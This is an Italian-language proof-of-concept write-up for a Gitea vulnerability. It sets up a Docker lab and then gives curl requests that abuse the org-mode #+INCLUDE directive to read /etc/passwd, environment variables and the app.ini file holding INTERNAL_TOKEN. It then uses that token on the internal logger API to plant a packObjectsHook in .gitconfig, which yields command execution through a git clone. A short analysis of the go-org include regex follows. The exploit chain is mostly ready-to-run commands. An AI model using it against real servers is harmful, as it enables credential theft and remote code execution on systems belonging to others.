
CVE-2026-59774
git clone https://github.com/FlowerWitch/CVE-2026-59774_docker
cd ./CVE-2026-59774_docker
docker compose up -d
Accedi a gitea
new repository è pubblico per impostazione predefinita, non sono necessarie altre configurazioni
curl -X POST "http://localhost:3000/{username}/{repo}/markup" \
-H "Content-Type: application/json" \
-d '{
"Mode": "file",
"FilePath": "poc.org",
"Text": "#+INCLUDE: \"/etc/passwd\" src 123\n",
"Context": "/admin/poc/src/main/"
}'
GITEA_CUSTOM in /proc/self/environ, si ottiene la posizione in cui sono memorizzati i dati di giteacurl -sX POST "http://localhost:3000/admin/poc/markup" -H "Content-Type: application/json" \
-d '{
"Mode": "file",
"FilePath": "poc.org",
"Text": "#+INCLUDE: \"/proc/self/environ\" src 123\n",
"Context": "/admin/poc/src/main/"
}'|grep 'GITEA_CUSTOM='
{GITEA_CUSTOM}/conf/app.ini per ottenere i campi INTERNAL_TOKEN e APP_DATA_PATHcurl -sX POST "http://localhost:3000/{username}/{repo_name}/markup" -H "Content-Type: application/json" \
-d '{
"Mode": "file",
"FilePath": "poc.org",
"Text": "#+INCLUDE: \"{GITEA_CUSTOM}/conf/app.ini\" src 123\n",
"Context": "/admin/poc/src/main/"
}'|grep -E 'INTERNAL_TOKEN|APP_DATA_PATH'
Mode di questa interfaccia è File, viene eseguita una scrittura in append su un file locale (se la destinazione non esiste, viene creata la directory corrispondente). Inoltre, quando il suo campo logger è router, l'esecuzione genera una voce di log, con un output molto migliore rispetto a default (poiché non va a capo XD). Sfruttando la scrittura arbitraria offerta dalla prima, si aggiunge al .gitconfig di gitea il campo packObjectsHook per ottenere l'esecuzione di comandi tramite un clone anonimo.curl -vX POST http://localhost:3000/api/internal/manager/add-logger \
-H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"Logger": "router",
"Writer": "pwnhook",
"Mode": "file",
"Config":{
"filename": "{APP_DATA_PATH}/home/.gitconfig",
"flags": "none",
"prefix": "[uploadpack]\n packObjectsHook = id > /tmp/pwned ;#",
"level": "Info",
"rotate": false
}
}'
4.Chiudere l'handle del log per evitare che le richieste successive interferiscano con la configurazione successiva; è necessario utilizzare logger e writer di cui sopra
curl -vX POST /api/internal/manager/remove-logger/{Logger}/{Writer} \
-H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
git clone attiva l'esecuzione di comandiNella funzione parseInclude di go-org 1.9.1 è presente una regola di filtro regex includeFileRegexp: solo se la corrispondenza ha successo è possibile accedere alle funzioni successive.
func (d *Document) parseInclude(k Keyword) (int, Node) {
resolve := func() Node {
d.Log.Printf("Bad include %#v", k)
return k
}
if m := includeFileRegexp.FindStringSubmatch(k.Value); m != nil { # <--这里施加了 includeFileRegexp 过滤
path, kind, lang := m[1], m[2], m[3]
if !filepath.IsAbs(path) {
path = filepath.Join(filepath.Dir(d.Path), path)
}
includeFileRegexp corrisponde alle seguenti condizioni
var includeFileRegexp = regexp.MustCompile(`(?i)^"([^"]+)" (src|example|export) (\w+)$`)
Pertanto, un payload come "#+INCLUDE: \"/etc/passwd\"\n" non può essere confrontato correttamente; la costruzione deve conformarsi all'espressione, ad esempio:
"#+INCLUDE: \"/etc/passwd\" src 123\n"